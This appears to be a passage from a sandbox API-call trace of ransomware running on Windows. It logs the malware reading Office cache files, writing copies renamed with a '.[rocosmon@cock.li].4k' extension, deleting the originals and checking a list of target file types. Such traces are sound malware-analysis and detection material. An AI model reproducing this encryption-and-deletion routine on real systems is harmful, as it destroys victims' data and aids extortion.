	[0089.057] ReadFile (in: hFile=0x18c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x8f8, lpOverlapped=0x0) returned 1
	[0089.213] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x900, lpOverlapped=0x0) returned 1
	[0089.215] ReadFile (in: hFile=0x18c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.215] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.215] SetEndOfFile (hFile=0x190) returned 1
	[0089.215] CloseHandle (hObject=0x190) returned 1
	[0089.220] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.220] SetEndOfFile (hFile=0x18c) returned 1
	[0089.221] CloseHandle (hObject=0x18c) returned 1
	[0089.221] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.222] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1
	[0089.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.222] lstrlenW (lpString=".doc") returned 4
	[0089.222] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.222] lstrlenW (lpString=".docx") returned 5
	[0089.223] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.223] lstrlenW (lpString=".pdf") returned 4
	[0089.223] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.223] lstrlenW (lpString=".xls") returned 4
	[0089.223] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.223] lstrlenW (lpString=".xlsx") returned 5
	[0089.223] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.223] lstrlenW (lpString=".ppt") returned 4
	[0089.223] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.223] lstrlenW (lpString=".zip") returned 4
	[0089.223] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.224] lstrlenW (lpString=".rar") returned 4
	[0089.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.224] lstrlenW (lpString=".bz2") returned 4
	[0089.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.224] lstrlenW (lpString=".7z") returned 3
	[0089.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.224] lstrlenW (lpString=".dbf") returned 4
	[0089.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.224] lstrlenW (lpString=".1cd") returned 4
	[0089.224] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.224] lstrlenW (lpString=".jpg") returned 4
	[0089.224] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.225] lstrlenW (lpString=".doc") returned 4
	[0089.225] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.225] lstrlenW (lpString=".docx") returned 5
	[0089.225] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1
	[0089.225] lstrlenW (lpString=".pdf") returned 4
	[0089.225] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.225] lstrlenW (lpString=".xls") returned 4
	[0089.225] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.225] lstrlenW (lpString=".xlsx") returned 5
	[0089.226] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1
	[0089.226] lstrlenW (lpString=".ppt") returned 4
	[0089.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.226] lstrlenW (lpString=".zip") returned 4
	[0089.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.226] lstrlenW (lpString=".rar") returned 4
	[0089.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.226] lstrlenW (lpString=".bz2") returned 4
	[0089.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.226] lstrlenW (lpString=".7z") returned 3
	[0089.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.226] lstrlenW (lpString=".dbf") returned 4
	[0089.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.227] lstrlenW (lpString=".1cd") returned 4
	[0089.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72
	[0089.227] lstrlenW (lpString=".jpg") returned 4
	[0089.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.227] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.227] lstrlenW (lpString="Proof.xml") returned 9
	[0089.227] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.228] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1458) returned 1
	[0089.228] CloseHandle (hObject=0x18c) returned 1
	[0089.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020
	[0089.228] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0089.228] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.228] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190
	[0089.229] GetLastError () returned 0x0
	[0089.229] ReadFile (in: hFile=0x18c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x5b2, lpOverlapped=0x0) returned 1
	[0089.239] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0089.241] ReadFile (in: hFile=0x18c, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.241] WriteFile (in: hFile=0x190, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0089.241] SetEndOfFile (hFile=0x190) returned 1
	[0089.242] CloseHandle (hObject=0x190) returned 1
	[0089.252] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.252] SetEndOfFile (hFile=0x18c) returned 1
	[0089.253] CloseHandle (hObject=0x18c) returned 1
	[0089.258] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.259] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1
	[0089.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.260] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.260] lstrlenW (lpString=".doc") returned 4
	[0089.260] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.260] lstrlenW (lpString=".docx") returned 5
	[0089.260] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.260] lstrlenW (lpString=".pdf") returned 4
	[0089.260] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.260] lstrlenW (lpString=".xls") returned 4
	[0089.261] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.261] lstrlenW (lpString=".xlsx") returned 5
	[0089.261] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.261] lstrlenW (lpString=".ppt") returned 4
	[0089.261] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.261] lstrlenW (lpString=".zip") returned 4
	[0089.261] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.261] lstrlenW (lpString=".rar") returned 4
	[0089.261] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.261] lstrlenW (lpString=".bz2") returned 4
	[0089.261] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.261] lstrlenW (lpString=".7z") returned 3
	[0089.261] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.261] lstrlenW (lpString=".dbf") returned 4
	[0089.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.261] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.262] lstrlenW (lpString=".1cd") returned 4
	[0089.262] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.262] lstrlenW (lpString=".jpg") returned 4
	[0089.262] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.262] lstrlenW (lpString=".doc") returned 4
	[0089.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.262] lstrlenW (lpString=".docx") returned 5
	[0089.262] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1
	[0089.262] lstrlenW (lpString=".pdf") returned 4
	[0089.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.262] lstrlenW (lpString=".xls") returned 4
	[0089.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.262] lstrlenW (lpString=".xlsx") returned 5
	[0089.263] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1
	[0089.263] lstrlenW (lpString=".ppt") returned 4
	[0089.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.263] lstrlenW (lpString=".zip") returned 4
	[0089.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.263] lstrlenW (lpString=".rar") returned 4
	[0089.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.263] lstrlenW (lpString=".bz2") returned 4
	[0089.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.263] lstrlenW (lpString=".7z") returned 3
	[0089.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.504] lstrlenW (lpString=".dbf") returned 4
	[0089.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.504] lstrlenW (lpString=".1cd") returned 4
	[0089.504] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81
	[0089.504] lstrlenW (lpString=".jpg") returned 4
	[0089.504] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.504] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.504] lstrlenW (lpString="Office32MUI.xml") returned 15
	[0089.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8
	[0089.642] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1383) returned 1
	[0089.642] CloseHandle (hObject=0x1a8) returned 1
	[0089.642] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020
	[0089.642] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0089.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8
	[0089.642] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.642] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0089.643] GetLastError () returned 0x0
	[0089.643] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x567, lpOverlapped=0x0) returned 1
	[0089.719] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x570, lpOverlapped=0x0) returned 1
	[0089.721] ReadFile (in: hFile=0x1a8, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0089.721] WriteFile (in: hFile=0x1ac, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0089.721] SetEndOfFile (hFile=0x1ac) returned 1
	[0089.721] CloseHandle (hObject=0x1ac) returned 1
	[0089.722] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0089.722] SetEndOfFile (hFile=0x1a8) returned 1
	[0089.723] CloseHandle (hObject=0x1a8) returned 1
	[0089.724] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0089.724] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1
	[0089.725] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.726] lstrlenW (lpString=".doc") returned 4
	[0089.726] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString=".docx") returned 5
	[0089.726] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.726] lstrlenW (lpString=".pdf") returned 4
	[0089.726] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString=".xls") returned 4
	[0089.726] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString=".xlsx") returned 5
	[0089.726] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.726] lstrlenW (lpString=".ppt") returned 4
	[0089.726] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.726] lstrlenW (lpString=".zip") returned 4
	[0089.726] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.726] lstrlenW (lpString=".rar") returned 4
	[0089.726] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString=".bz2") returned 4
	[0089.726] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.726] lstrlenW (lpString=".7z") returned 3
	[0089.726] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.727] lstrlenW (lpString=".dbf") returned 4
	[0089.727] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.727] lstrlenW (lpString=".1cd") returned 4
	[0089.727] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.727] lstrlenW (lpString=".jpg") returned 4
	[0089.727] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.727] lstrlenW (lpString=".doc") returned 4
	[0089.727] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString=".docx") returned 5
	[0089.727] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0089.727] lstrlenW (lpString=".pdf") returned 4
	[0089.727] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString=".xls") returned 4
	[0089.727] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString=".xlsx") returned 5
	[0089.727] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0089.727] lstrlenW (lpString=".ppt") returned 4
	[0089.727] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0089.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.728] lstrlenW (lpString=".zip") returned 4
	[0089.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0089.728] lstrlenW (lpString=".rar") returned 4
	[0089.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0089.728] lstrlenW (lpString=".bz2") returned 4
	[0089.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0089.728] lstrlenW (lpString=".7z") returned 3
	[0089.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0089.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.728] lstrlenW (lpString=".dbf") returned 4
	[0089.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0089.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.728] lstrlenW (lpString=".1cd") returned 4
	[0089.728] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0089.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78
	[0089.728] lstrlenW (lpString=".jpg") returned 4
	[0089.728] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0089.728] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0089.728] lstrlenW (lpString="Setup.xml") returned 9
	[0089.728] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8
	[0089.729] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1852) returned 1
	[0089.729] CloseHandle (hObject=0x1a8) returned 1
	[0089.729] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0089.729] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
